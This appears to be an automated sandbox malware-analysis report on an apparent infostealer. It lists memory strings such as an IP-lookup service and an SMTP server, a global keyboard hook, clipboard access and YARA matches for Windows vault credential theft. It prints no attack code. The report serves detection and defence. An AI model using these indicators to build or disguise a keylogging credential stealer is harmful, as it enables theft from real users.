Source: kAsh3nmsgs.exe, 00000008.00000002.4188725792.0000000008A7C000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E94000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4148636839.0000000000FF0000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4189046055.0000000008AA4000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4147231136.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4189921949.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000315E000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4189921949.0000000008ADA000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4168514999.000000000647B000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4190577674.0000000008B33000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000303C000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4148783650.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003494000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4188194749.000000000947F000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4187909040.0000000009423000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsrsaovsslca2018.crl0j
Source: kAsh3nmsgs.exe, 00000008.00000002.4168514999.000000000647B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/roo#
Source: kAsh3nmsgs.exe, 00000008.00000002.4188725792.0000000008A7C000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4190577674.0000000008B54000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4188990103.0000000008A94000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E94000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4147231136.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000315E000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4189921949.0000000008ADA000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4168514999.000000000647B000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000303C000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003494000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4167554620.0000000006A77000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4168112478.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003415000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003384000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4188194749.0000000009443000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4147346234.0000000001403000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4187357779.0000000009408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: kAsh3nmsgs.exe, 00000008.00000002.4188725792.0000000008A7C000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4190577674.0000000008B54000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E94000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4148636839.0000000000FF0000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000315E000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4189921949.0000000008ADA000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4168514999.000000000647B000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000303C000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003494000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4166846886.0000000006A4F000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4187909040.0000000009423000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4167554620.0000000006A77000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4168112478.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003415000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003384000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003161000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.000000000324F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root.crl0G
Source: HHhSyZN.exe, 0000000D.00000002.4187909040.0000000009423000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsigx
Source: kAsh3nmsgs.exe, 00000008.00000002.4188725792.0000000008A7C000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E94000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4148636839.0000000000FF0000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4189046055.0000000008AA4000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4147231136.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4189921949.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000315E000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4189921949.0000000008ADA000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4168514999.000000000647B000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4190577674.0000000008B33000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000303C000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4148783650.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003494000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4188194749.000000000947F000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4187909040.0000000009423000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsrsaovsslca20180V
Source: kAsh3nmsgs.exe, 00000008.00000002.4188725792.0000000008A7C000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4190577674.0000000008B54000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E94000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4148636839.0000000000FF0000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4147231136.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000315E000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4189921949.0000000008ADA000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4168514999.000000000647B000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4190331509.0000000008B16000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000303C000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003494000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4166846886.0000000006A4F000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4187909040.0000000009423000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4167554620.0000000006A77000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4168112478.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003415000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/rootr103
Source: kAsh3nmsgs.exe, 00000008.00000002.4190331509.0000000008B16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsig
Source: kAsh3nmsgs.exe, 00000008.00000002.4188725792.0000000008A7C000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4190577674.0000000008B54000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4188990103.0000000008A94000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E94000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4147231136.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000315E000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4189921949.0000000008ADA000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4168514999.000000000647B000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000303C000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003494000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4167554620.0000000006A77000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4168112478.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003415000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003384000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4188194749.0000000009443000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4147346234.0000000001403000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4187357779.0000000009408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: kAsh3nmsgs.exe, 00000000.00000002.1730005072.00000000031FF000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002C81000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 00000009.00000002.1769194056.000000000331F000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E94000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4148636839.0000000000FF0000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4189046055.0000000008AA4000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4147231136.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4189921949.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000315E000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4189921949.0000000008ADA000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4168514999.000000000647B000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4190577674.0000000008B33000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000303C000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4148783650.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003494000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4188194749.000000000947F000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4187909040.0000000009423000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4167554620.0000000006A77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsrsaovsslca2018.crt07
Source: kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002DF9000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E94000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000315E000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000303C000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003494000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003415000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003384000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003161000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.000000000324F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://smtp.yandex.com
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: kAsh3nmsgs.exe, 00000000.00000002.1730748161.0000000004AC4000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 00000009.00000002.1771700675.0000000004BE4000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4146034790.0000000000435000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: kAsh3nmsgs.exe, 00000000.00000002.1730748161.0000000004AC4000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4146027823.0000000000434000.00000040.00000400.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002C81000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 00000009.00000002.1771700675.0000000004BE4000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: HHhSyZN.exe, 0000000D.00000002.4188194749.0000000009443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/r
Source: kAsh3nmsgs.exe, 00000008.00000002.4188725792.0000000008A7C000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4190577674.0000000008B54000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4188990103.0000000008A94000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E94000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4148636839.0000000000FF0000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4189046055.0000000008AA4000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4147231136.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4189921949.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000315E000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4189921949.0000000008ADA000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4168514999.000000000647B000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4190577674.0000000008B33000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4190331509.0000000008B16000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000303C000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4148783650.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49737 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\kAsh3nmsgs.exe			Jump to behavior
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\HHhSyZN.exe

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.kAsh3nmsgs.exe.4afe9e8.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.HHhSyZN.exe.4c1f8f8.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.HHhSyZN.exe.4be4ed8.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.HHhSyZN.exe.4c1f8f8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.kAsh3nmsgs.exe.4afe9e8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.HHhSyZN.exe.4be4ed8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe

Process Stats: CPU usage > 49%

